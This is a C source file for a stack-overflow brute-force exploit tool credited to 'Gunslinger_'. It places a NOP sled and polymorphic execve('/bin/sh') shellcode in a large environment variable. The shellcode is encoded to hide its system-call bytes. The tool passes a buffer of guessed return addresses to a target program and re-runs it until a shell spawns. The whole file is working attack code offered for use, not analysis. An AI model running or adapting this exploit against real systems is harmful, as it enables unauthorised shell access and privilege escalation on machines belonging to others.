/*
*  stack brute forcer by Gunslinger_ yudha.gunslinger@gmail.com
*  This is version 2 of stackbf.c
*  The difference is we doesn't use our own return address , because some asm that copied %esp register into %eax register
*  This return value can be use with good accuracy, so we use for that .  
*
*  # original assembly of shellcode, but there is has been encoded to polymorphic shellcode for hidding some character like "\xcd\x80" or "int $0x80" in assembly 
*  .global _start
*  _start:
*
*  xor  %eax, %eax
*  xor  %ebx, %ebx
*  xor  %ecx, %ecx
*  xor  %edx, %edx
*
*  mov  $0xb, %al
*  push  %ebx
*  push  $0x68732f2f
*  push  $0x6e69622f
*  mov  %esp, %ebx
*  xor  %edx, %edx
*  xor  %edx, %edx
*  push  %ebx
*  int  $0x80
*
*  inc  %eax
*  int  $0x80
*
*  
*/


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define NOP 0x90  

/* Length of environment variable ~ 128 Kb */
#define ENV_LEN 128000

static inline getesp()
{
      __asm__("movl %esp,%eax"); /* will get return address in %eax, no more debugging for that ;) */
}


char shellcode[] = "\xeb\x11\x5e\x31\xc9\xb1\x21\x80\x6c\x0e\xff\x35\x80\xe9\x01" /* Polymorphic shell */
       "\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x66\xf5\x66\x10\x66\xfe"
       "\x66\x07\xe5\x40\x88\x9d\x64\x64\xa8\x9d\x9d\x64\x97\x9e\xa3"
       "\xbe\x18\x66\x07\x66\xfe\x88\x02\xb5\x75\x02\xb5";
       
int main(int argc, char **argv)
{
  char *application = NULL;
  char *buffer = NULL;
  char env_var[ENV_LEN];
  char *env[2] = { env_var, NULL};
  int *p, num, ret, pid, payload_size;

  if (argc < 3)
  {
    printf("\nStack Brute Force");
    printf("\nProgrammer : Gunslinger_");
    printf("\nUsage: %s <application> <payload_size>\n\n", argv[0]);
    exit(1);
  }
  
  printf("[*] Using return address 0x%x \n", getesp());
  printf("[*] Environment variable %d kb\n", ENV_LEN / 1000);
  printf("[*] Shellcode size %d bytes\n", strlen(shellcode));
  
  application = strdup(argv[1]);
  payload_size = atoi(argv[2]);
  buffer = (char*) malloc(payload_size);

  memset (env_var, NOP, ENV_LEN);

  memcpy (env_var+ENV_LEN-strlen(shellcode)-1, shellcode, strlen(shellcode));
  env_var[ENV_LEN-1]=0;

  p = (int*) buffer;

  for (num = 0; num < payload_size; num += sizeof(int), p++)
    *p = getesp();
  *p=0;
  do {
    switch(pid=fork())
    {
    case 0:
      execle (application, application, buffer, NULL, env);
      exit(0);
      break;
    default:
      waitpid (pid, &ret, 0);
      break;
    }
  }
while (ret);
}